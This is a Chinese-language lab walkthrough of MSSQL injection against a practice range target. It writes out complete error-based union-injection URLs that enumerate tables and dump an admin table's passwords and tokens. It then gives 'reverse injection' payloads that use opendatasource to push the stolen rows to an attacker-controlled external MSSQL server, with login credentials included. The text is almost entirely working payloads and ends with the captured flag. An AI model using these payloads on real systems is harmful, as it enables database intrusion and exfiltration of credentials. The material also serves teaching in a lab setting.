封神臺靶場-MSSQL注入
阿新 • • 發佈:2021-09-07
MSSQL顯錯注入
與MySQL聯合查詢不同,MSSQL聯合查詢由於資料型別匹配較為嚴格,所以需要union select null來代替數字,然後不斷嘗試尋找到正確的型別,但是大體上還是相似的
猜解欄位數
http://o9pz8015.ia.aqlab.cn/?id=1' order by 3 -- qwe #頁面正常
http://o9pz8015.ia.aqlab.cn/?id=1' order by 4 -- qwe #頁面異常
得出欄位數為3
判斷顯錯點
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select 1,'a','b' -- qwe 得出顯錯點第一個欄位為整型,第二三個欄位為字元型
查詢系統自帶庫的表
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from sysobjects where xtype='U' -- qwe
查詢admin表的欄位名
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,name,null from syscolumns where id=1977058079 -- qwe
查詢admin表的資料
http://o9pz8015.ia.aqlab.cn/?id=1' and 1=2 union select id,passwd,token from admin -- qwe
得出flag為:zkaq{e9c9e67c5}
MSSQL反彈注入
概念:
利用SQL語句,讓目標的資料庫來訪問你在公網上的資料庫,然後插入資料
本質就是讓目標機器訪問攻擊者準備好的資料庫,然後插入資訊
原理:
利用opendatasource函式,把查詢出來的資料傳送到準備好的MSSQL伺服器上
查詢語句
# 查詢系統自帶表中xtype='U'的name,id並插入到我們準備好的temp表 http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from sysobjects where xtype='U' -- qwe # 通過id鎖定admin表,然後查詢admin表的欄位名並插入到我們準備好的temp表 http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,name,null,null from syscolumns where id=1977058079 -- qwe # 查詢admin表的資料並插入到準備好的temp表中 http://o9pz8015.ia.aqlab.cn/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC274_abcd_admin;pwd=123456.com;database=DB_14DC274_abcd').DB_14DC274_abcd.dbo.temp select id,passwd,token,username from admin -- qwe
最終得到表:
flag為:zkaq{e9c9e67c5}